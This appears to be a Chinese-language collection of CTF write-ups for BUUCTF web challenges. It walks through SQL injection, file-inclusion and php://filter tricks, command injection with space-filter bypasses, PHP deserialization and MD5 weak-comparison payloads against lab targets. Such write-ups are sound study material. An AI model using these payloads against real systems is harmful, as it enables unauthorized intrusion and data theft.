BUUCTF Web 解题记录

[极客大挑战 2019]EasySQL

首先随意输入用户名及密码,发现url变化,说明是get请求。

输入1‘,判断是字符型注入还是数字型注入。发现报错,说明是字符型注入。

输入万能密码:1’ or 1=1# 或者 1‘ or ’1‘=1,注意是英文字符。

登录成功。

[极客大挑战 2019]Havefun

打开靶机,发现没有任何信息。

按下F12,发现源代码中有一段php注释。

对url作如下改动,解题成功。

[HCTF 2018]WarmUp

F12查看源代码,发现注释内容。

访问source.php。

根据 $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; 访问hint.php。

代码审计。

if (! isset($page) || !is_string($page)) {  
                echo "you can't see it";
                return false;
            }
# 判断$page是否为字符串

if (in_array($page, $whitelist)) {
                return true;
            }
# 判断$page是否在白名单

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
# mb_substr,截取字符串
# mb_strpos($page . '?', '?'):将$page与'?'连接,返回'?'第一次出现的位置。
if (in_array($_page, $whitelist)) {
                return true;
            }
# 判断$_page是否在白名单

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
# 将$page进行URL解码,并重复之前的处理步骤,如果$_page在白名单中存在,返回true。

if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }
# 检查$_REQUEST['file']是否存在且为字符串类型,并调用emmm::checkFile方法进行检查。如果返回值为true,则通过include语句包含$_REQUEST['file']指定的文件并终止程序执行,否则输出一个图片标签。

分析代码后,发现只需传入一个在白名单内的文件名,并添加上问号,就可以保证每次找去用于检查的内容都在白名单,返回true。

依次通过…/…/构造payload,去查看到底是几层的根目录。

/source.php?file=source.php?/../../../../ffffllllaaaagggg

[ACTF2020 新生赛]Include

根据url,判断属于文件包含。

查看源代码并没有看到flag,猜测其可能被注释。利用php://filter伪协议来查看flag.php的源代码。

php://filter

  • 作用:php://filter可以获取指定文件源码。当其与文件包含函数结合时,php://filter流会被当作php文件执行。所以一般对其进行编码,阻止其不执行,从而读取任意文件源代码。
  • 场景:
    • 知道flag文件地址后,可以直接用该协议读取文件内容。
    • 有时候一些关键字被过滤也可以用该协议绕过。
    • 有的flag隐藏在注释当中,可通过此协议查看源码获取flag。
  • 格式:

    构造payload:file=php://filter/read=convert.base64-encode/resource=flag.php

解码得到flag。

[ACTF2020 新生赛]Exec

命令注入题

输入127.0.0.1;ls /

前后两条命令都会执行

输入 127.0.0.1;cat /flag,查看根目录的flag文件。

[GXYCTF2019]Ping Ping Ping

输入?ip=127.0.0.1;ls

cat flag.php,发现空格被过滤。说明index.php中有相关设置。

命令绕过空格的方法:

${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space)
%09 (tab)
X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)

发现$IFS$1可行。

这里我们发现flag也被过滤了。

if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
# flag的贪婪匹配,匹配一个字符串中,是否按顺序出现过flag四个字母

变量替换:
?ip=127.0.0.1;b=g;cat$IFS$1fla$b.php
或者?ip=127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php
注意不能按顺序出现flag!

[SUCTF 2019]EasySQL

查看writeup题解后,发现题目sql查询字符串的内容为:

select $_POST['query'] || flag from Flag;
  1. 查询法
    和SQL语句拼接后:
    select *,1 || flag from Flag
    1和flag的结果是1,然后语句就成为了 “
    select *,1 from Flag

  2. 操作符重置法
    1;set sql_mod=PIPES_AS_CONCAT;select 1
    插入SQL语句就成为
    select concat(1,flag) from Flag;
    SQL_MOD:是MySQL支持的基本语法、校验规则 。其中PIPES_AS_CONCAT会将||认为字符串的连接符,而不是或运算符,这时||符号就像concat函数一样。

[强网杯 2019]随便注

测试万能密码1’ or 1=1 #

输出了该表的所有数据,说明存在sql注入。

输入select,判断是否有关键字过滤。

preg_match函数用于执行正则表达式,也就是说,系统通过该代码将select等关键字都过滤了,联合查询,报错注入,布尔,时间盲注就都不可以使用了,只剩下堆叠注入。

查看数据库名:1';show databases;#


查看数据表:1';show tables;#

获取第一个表1919810931114514的表结构,有两种方式:
方式一:1'; show columns from tableName;#
方式二:1';desc tableName;#
注意,如果tableName是纯数字,需要用反引号包裹。

单引号 ’ 或双引号是字符串的引用符号。
反引号是数据库、表、索引、列和别名的引用符。
两者在linux下不区分,windows下区分。

获取字段名flag:

由于select关键字被过滤了,所以我们可以通过预编译的方式拼接select 关键字。

预编译:相当于定一个语句相同,参数不同的Mysql模板。

PREPARE 名称 FROM 	Sql语句 ? ;
SET @x=xx;
EXECUTE 名称 USING @x;

举例:查询ID为1的用户:

方法一:
SElECT * FROM t_user WHERE USER_ID = 1

方法二:
PREPARE jia FROM 'SElECT * FROM t_user WHERE USER_ID = 1';
EXECUTE jia;

方法三:
PREPARE jia FROM 'SELECT * FROM t_user WHERE USER_ID = ?';
SET @ID = 1;
EXECUTE jia USING @ID;

方法四:
SET @SQL='SElECT * FROM t_user WHERE USER_ID = 1';
PREPARE jia FROM @SQL;
EXECUTE jia;

输入1’;PREPARE xsh from concat(‘s’,’elect’,’ * from 1919810931114514‘);EXECUTE xsh;#

注意表名加上反引号。

[极客大挑战 2019]LoveSQL

常规sql注入流程

1. 判断类型
2. 万能密码
3. 判断字段数 order by
4. 找回显点
5. 爆数据库,版本
6. 爆表
7. 爆字段

解题步骤如下:

  1. 输入1’,报错,说明是字符型注入。
  2. 输入1‘ or 1=1#。
  3. order by 2,3时均没有报错。

    order by 4时报错。说明表有三个字段。
  4. 联合查询,判断回显点。

    发现回显点是2,3。
  5. database(),version()
  6. 1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’geek’ #
  7. 1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=’geek’ and table_name=’l0ve1ysq1’ #
  8. 1’ union select 1,2,group_concat(password) from l0ve1ysq1 #

[极客大挑战 2019]Secret File

F12查看源代码,发现./Archive_room.php

访问该文件,没发现有用信息。

burpsuite抓包,发送到repeater,发现一个被注释了的文件。

代码审计。

访问flag.php。

看到include函数,说明secr3t.php 存在文件包含漏洞。
想到之前做过的# [ACTF2020 新生赛]Include文件包含题目。
php://filter可以获取指定文件源码。
secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

解码:

[极客大挑战 2019]Http

查看源代码。

访问Secret.php。

它需要我们从https://www.Sycsecret.com来访问它。
burpsuite抓包发送到repeater,在header中添加上 Referer:https://www.Sycsecret.com ,来伪造访问来源。

提示请使用 Syclover 浏览器。添加User-Agent来伪造访问工具为 Syclover 浏览器。

提示只能在本地阅读。添加X-Forwarded-For伪造本地ip 127.0.0.1。

[极客大挑战 2019]BabySQL

万能密码报错,分析关键词可能被过滤,通过双写绕过。
被过滤的关键词:or, by, union, select, from, information中的or, where, and, password中的or
按照[极客大挑战 2019]LoveSQL的流程完成。

[极客大挑战 2019]PHP

提示:备份网站。

用dirsearch扫描网站目录。
python dirsearch.py -u http://d43405f8-0170-433b-9443-f3fc89bb975c.node5.buuoj.cn:81/

常见的网站源码备份文件后缀: tar.gz,zip,rar,tar
常见的网站源码备份文件名:web,website,backup,back,www,wwwroot,temp

扫描到www.zip,下载。


打开index.php,发现包含get形式传参、一个class.php和反序列化操作。

class.php内容如下:

<?php
include 'flag.php';
error_reporting(0);

class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();

}
}
}
?>

unserialize()结束时会自动调用__destruct(),当username=admin且password=100时,会显示flag。

构造序列化(对象->字符串)代码:

<?php
class Name
{
private $username='admin';
private $password='100';
}
$select = new Name();
$res = serialize(@$select);
echo $res;
# @$select 表示选择变量$select的值,如果$select存在则取其值,否则返回空值。
?>

运行结果:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

  • Nameusername 只有12个字符,这里的14怎么来的呢?
    • 在PHP中,私有属性是无法从类外部直接访问的。为了在序列化字符串中表示这些属性,PHP会在私有属性名称的前面加上\0(空字符)。
    • 在URL编码中,\0表示为 %00

代码中__wakeup()会将username赋值为guest,所以要想办法绕过该函数。
**当成员属性数目大于实际数目时可以绕过__wakeup()。

payload改为:
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
成功。

[ACTF2020 新生赛]BackupFile

题目提示backup。
用dirsearch扫描网站目录。
`python dirsearch.py -u http://ec12e063-d18b-4b87-af43-b460e376b09c.node5.buuoj.cn:81/
扫描到/index.php.bak可访问,内容如下:

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

php弱类型(两个=)比较:
var_dump(‘a’ == 0); //bool(true)
var_dump(‘1a’ == 1); //bool(true)
var_dump(‘12a’ == 1); //bool(false)
如果字符串是以数字开头的,那么就会转成这个数字再做比较。

构造payload:

[ec12e063-d18b-4b87-af43-b460e376b09c.node5.buuoj.cn:81/?key=123](http://ec12e063-d18b-4b87-af43-b460e376b09c.node5.buuoj.cn:81/?key=123)

[RoarCTF 2019]Easy Calc

查看源代码,发现calc.php,访问该文件。

<?php  
error_reporting(0);
if(!isset($_GET['num'])){    show_source(__FILE__);
}else{        $str $_GET['num'];        $blacklist = [' ''\t''\r''\n','\'''"''`''\[''\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem '/m'$str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

发现waf不允许变量传递字母。

PHP的字符串解析特性
php从请求的url中取出参数并保存之前,1.删除空白符号 2.将一些特殊字符(包括空格)转换为下划线_

所以可以在num前加个空格,这样waf就找不到num这个变量了,因为现在变量是“ num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

`chr()` — 返回指定的字符
`scandir()` — 列出指定路径中的文件和目录
`var_dump()` — 打印变量的相关信息
`file_get_contents()` — 将整个文件读入一个字符串

由于scandir(“/“)能扫描根目录,但是过滤了”/“,所以使用ASCII值绕过。

发现flag文件,读取这个文件:
calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

[极客大挑战 2019]BuyFlag

burpsuite抓包:

更改user:

proxy中更改请求方式为post,发送到repeater。密码是弱类型比较。

设置money:


科学计数法绕过:

[BJDCTF2020]Easy MD5

抓包。

md5(string,raw):当存在参数true时,使用原始16字符二进制格式。

查阅其他wp,查找到ffifdyop字符串经过MD5哈希之后,会变成276f722736c95d99e921722cf9ed621c,MySQL数据库会把HEX转换成ASCII解释,所以这几个字符相当于:' or '6xxxxxx

经过拼接形成:
select * from 'admin' where password='' or '6xxxxxx'
等价于 or 一个永真式,相当于万能密码,因此可以绕过md5()函数。
输入ffifdyop后:

查看源代码,发现注释内容:

$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.

MD5弱碰撞,构造payload:
?a=QNKCDZO&b=s878926199a

MD5强碰撞,由于PHP中md5()函数不能处理数组,所以使用数组绕过比较,构造Payload:
param1[]=1&param2[]=2